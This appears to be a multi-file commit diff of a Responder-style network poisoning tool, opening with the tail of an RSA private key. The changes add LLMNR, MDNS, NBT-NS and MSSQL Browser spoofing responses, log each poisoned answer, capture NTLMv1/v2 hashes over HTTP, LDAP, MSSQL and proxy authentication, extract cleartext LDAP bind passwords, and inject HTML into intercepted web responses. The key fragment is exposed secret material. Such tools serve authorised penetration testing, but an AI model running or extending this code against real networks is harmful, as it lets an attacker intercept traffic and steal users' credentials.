5mS7BTH9OGEtoquDP4wBqHzPcepHuMUp5fXVQ6M6a5UJSqRAUOTUBqIQUuQ6M91I
bYbaEzt4+PXxs2tc3WuBvbSxAoGBAKIDV/BOwgyRvTDbv0mcu3yLH1qCxva7M10p
XlpySsaGrcCEL8D8j5PylxFWsz0zfP08GI3b0rAYchGq3SP3wrkxFvLyvWjIJfUg
2B0WRxq1feT+h/rHPWFfznL3JM3yvNbBgk3gSnGihr0nSYLziepUxDU61gFTWsTF
eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK
jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS
T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM=
-----END RSA PRIVATE KEY-----

View File

@@ -1597,4 +1597,184 @@ class SMB2Session2Data(Packet):
])
######################FindSMBTime.py##########################
class SMBHeaderReq(Packet):
fields = OrderedDict([
("Proto", "\xff\x53\x4d\x42"),
("Cmd", "\x72"),
("Error-Code", "\x00\x00\x00\x00" ),
("Flag1", "\x10"),
("Flag2", "\x00\x00"),
("Pidhigh", "\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("TID", "\x00\x00"),
("PID", "\xff\xfe"),
("UID", "\x00\x00"),
("MID", "\x00\x00"),
])
class SMB2NegoReq(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMB2NegoDataReq(Packet):
fields = OrderedDict([
("StrType","\x02" ),
("dialect", "NT LM 0.12\x00"),
("StrType1","\x02"),
("dialect1", "SMB 2.002\x00"),
("StrType2","\x02"),
("dialect2", "SMB 2.???\x00"),
])
###################RDP Packets################################
class TPKT(Packet):
fields = OrderedDict([
("Version", "\x03"),
("Reserved", "\x00"),
("Length", "\x00\x24" ),
("Data", ""),
])
def calculate(self):
self.fields["Length"] = struct.pack(">h",len(str(self.fields["Data"]))+4)#Data+own header.
class X224(Packet):
fields = OrderedDict([
("Length", "\x0e"),
("Cmd", "\xd0"),
("Dstref", "\x00\x00"),
("Srcref", "\x12\x34"),
("Class", "\x00"),
("Data", "")
])
def calculate(self):
self.fields["Length"] = struct.pack(">B",len(str(self.fields["Data"]))+6)
class RDPNEGOAnswer(Packet):
fields = OrderedDict([
("Cmd", "\x02"),
("Flags", "\x00"),
("Length", "\x08\x00"),
("SelectedProto", "\x02\x00\x00\x00"),#CredSSP
])
def calculate(self):
self.fields["Length"] = struct.pack("<h",8)
class RDPNTLMChallengeAnswer(Packet):
fields = OrderedDict([
("PacketStartASN", "\x30"),
("PacketStartASNLenOfLen", "\x81"),
("PacketStartASNStr", "\x01"), #Len of what follows... in this case, +20 since it's x81 lengths are >B
("PacketStartASNTag0", "\xa0"),
("PacketStartASNTag0Len", "\x03"), #Static for TSVersion
("PacketStartASNTag0Len2", "\x02"),
("PacketStartASNTag0Len3", "\x01"),
("PacketStartASNTag0CredSSPVersion", "\x05"),##TSVersion: Since padding oracle, v2,v3,v4 are rejected by win7..
("ParserHeadASNID1", "\xa1"),
("ParserHeadASNLenOfLen1", "\x81"),
("ParserHeadASNLen1", "\xfa"),#... +12
("MessageIDASNID", "\x30"),
("MessageIDASNLen", "\x81"),
("MessageIDASNLen2", "\xf7"),#... +9
("OpHeadASNID", "\x30"),
("OpHeadASNIDLenOfLen", "\x81"),
("OpHeadASNIDLen", "\xf4"),#... +6
("StatusASNID", "\xa0"),
("MatchedDN", "\x81"),
("ASNLen01", "\xf1"),#NTLM len +3
("SequenceHeader", "\x04"),
("SequenceHeaderLenOfLen", "\x81"),
("SequenceHeaderLen", "\xee"), #done
#######
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags", "\x15\x82\x8a\xe2"),
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", "RDP12"),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "RPD12"),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
###### RDP Packet Len
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
##### RDP Len Calculation:
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
self.fields["ASNLen01"] = struct.pack(">B", len(NTLMMessageLen)+3)
self.fields["OpHeadASNIDLen"] = struct.pack(">B", len(NTLMMessageLen)+6)
self.fields["MessageIDASNLen2"] = struct.pack(">B", len(NTLMMessageLen)+9)
self.fields["ParserHeadASNLen1"] = struct.pack(">B", len(NTLMMessageLen)+12)
self.fields["PacketStartASNStr"] = struct.pack(">B", len(NTLMMessageLen)+20)
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))

View File

@@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View File

@@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
@@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})

View File

@@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer = NBT_Ans()
Buffer.calculate(data)
@@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View File

@@ -25,7 +25,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, client, module):
def ParseHTTPHash(data, Challenge, client, module):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@@ -42,7 +42,7 @@ def ParseHTTPHash(data, client, module):
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
SaveToDb({
'module': module,
'type': 'NTLMv1',
@@ -61,7 +61,7 @@ def ParseHTTPHash(data, client, module):
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
SaveToDb({
'module': module,
@@ -173,7 +173,7 @@ def GrabURL(data, host):
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
# Handle HTTP packet sequence.
def PacketSequence(data, client):
def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
@@ -198,7 +198,7 @@ def PacketSequence(data, client):
GrabHost(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans()
@@ -211,7 +211,7 @@ def PacketSequence(data, client):
module = "WebDAV"
else:
module = "HTTP"
ParseHTTPHash(NTLM_Auth, client, module)
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
@@ -265,44 +265,48 @@ class HTTP(BaseRequestHandler):
def handle(self):
try:
for x in range(2):
Challenge = RandomChallenge()
while True:
self.request.settimeout(3)
data = self.request.recv(8092)
remaining = 10*1024*1024 #setting max recieve size
data = ''
while True:
buff = ''
buff = self.request.recv(8092)
if buff == '':
break
data += buff
remaining -= len(buff)
#check if we recieved the full header
if data.find('\r\n\r\n') != -1:
#we did, now to check if there was anything else in the request besides the header
if data.find('Content-Length') == -1:
#request contains only header
break
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
if remaining <= 0:
break
if data == "":
break
#now the data variable has the full request
Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer)
self.request.close()
self.request.close()
if settings.Config.Verbose:
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(Buffer)
except socket.error:
pass
# HTTPS Server class
class HTTPS(StreamRequestHandler):
def setup(self):
self.exchange = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def handle(self):
try:
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
self.exchange.send(Buffer)
except:
pass

View File

@@ -52,9 +52,9 @@ def InjectData(data, client, req_uri):
return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall(r'(<body[^>]*>)', Content)
HasBody = re.findall(r'(<body[^>]*>)', Content, re.IGNORECASE)
if HasBody and len(settings.Config.HtmlToInject) > 2:
if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'):
if settings.Config.Verbose:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))

View File

@@ -27,49 +27,65 @@ def ParseSearch(data):
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data, client):
SSPIStart = data[42:]
LMhashLen = struct.unpack('<H',data[54:56])[0]
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if LMhashLen > 10:
LMhashOffset = struct.unpack('<H',data[58:60])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[64:66])[0]
NthashOffset = struct.unpack('<H',data[66:68])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[72:74])[0]
DomainOffset = struct.unpack('<H',data[74:76])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[80:82])[0]
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv1',
'client': client,
'user': Domain+'\\'+User,
'hash': NtHash,
'module': 'LDAP',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv2',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client):
def ParseNTLM(data,client, Challenge):
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
NTLMChall.calculate()
return str(NTLMChall)
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client)
ParseLDAPHash(data, client, Challenge)
def ParseLDAPPacket(data, client):
def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
@@ -96,24 +112,43 @@ def ParseLDAPPacket(data, client):
})
if sasl == "\xA3":
Buffer = ParseNTLM(data,client)
Buffer = ParseNTLM(data,client, Challenge)
return Buffer
elif Operation == "\x63":
Buffer = ParseSearch(data)
return Buffer
elif settings.Config.Verbose:
print text('[LDAP] Operation not supported')
if data[5:6] == '\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
UserString = data[12:12+UserLen]
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
if settings.Config.Verbose:
print text('[LDAP] Attempting to parse an old simple Bind request.')
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserString,
'cleartext': PassStr,
'fullhash': UserString+':'+PassStr,
})
class LDAP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(0.5)
data = self.request.recv(8092)
Buffer = ParseLDAPPacket(data,self.client_address[0])
self.request.settimeout(0.4)
data = self.request.recv(8092)
Challenge = RandomChallenge()
for x in range(5):
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
if Buffer:
self.request.send(Buffer)
except socket.timeout:
pass
data = self.request.recv(8092)
except:
pass

View File

@@ -17,6 +17,7 @@
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import *
import random
import struct
class TDS_Login_Packet:
@@ -52,7 +53,7 @@ class TDS_Login_Packet:
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client):
def ParseSQLHash(data, client, Challenge):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
@@ -72,7 +73,7 @@ def ParseSQLHash(data, client):
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))
SaveToDb({
'module': 'MSSQL',
@@ -84,7 +85,7 @@ def ParseSQLHash(data, client):
})
if NthashLen > 60:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
SaveToDb({
'module': 'MSSQL',
@@ -119,33 +120,59 @@ def ParseClearTextSQLPass(data, client):
# MSSQL Server class
class MSSQL(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
try:
while True:
data = self.request.recv(1024)
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer)
data = self.request.recv(1024)
self.request.settimeout(0.1)
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Challenge = RandomChallenge()
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
if data[0] == "\x11": # NegoSSP Auth
ParseSQLHash(data,self.client_address[0])
if data[0] == "\x11": # NegoSSP Auth
ParseSQLHash(data,self.client_address[0],Challenge)
except:
self.request.close()
pass
# MSSQL Server Browser class
# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
class MSSQLBrowser(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
data, soc = self.request
if data:
if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
self.send_response(soc, "MSSQLSERVER")
elif data[0] == "\x04": # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip("\x00"))
elif data[0] == "\x0F": # CLNT_UCAST_DAC
self.send_dac_response(soc)
def send_response(self, soc, inst):
print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
def send_dac_response(self, soc):
print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)

View File

@@ -47,7 +47,7 @@ def GrabHost(data):
return Host
return False
def PacketSequence(data, client):
def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth:
@@ -56,14 +56,14 @@ def PacketSequence(data, client):
if settings.Config.Verbose:
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(Buffer))
return str(Buffer_Ans)
if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
GrabUserAgent(data)
GrabCookie(data)
GrabHost(data)
@@ -101,9 +101,10 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
def handle(self):
try:
Challenge = RandomChallenge()
for x in range(2):
data = self.request.recv(4096)
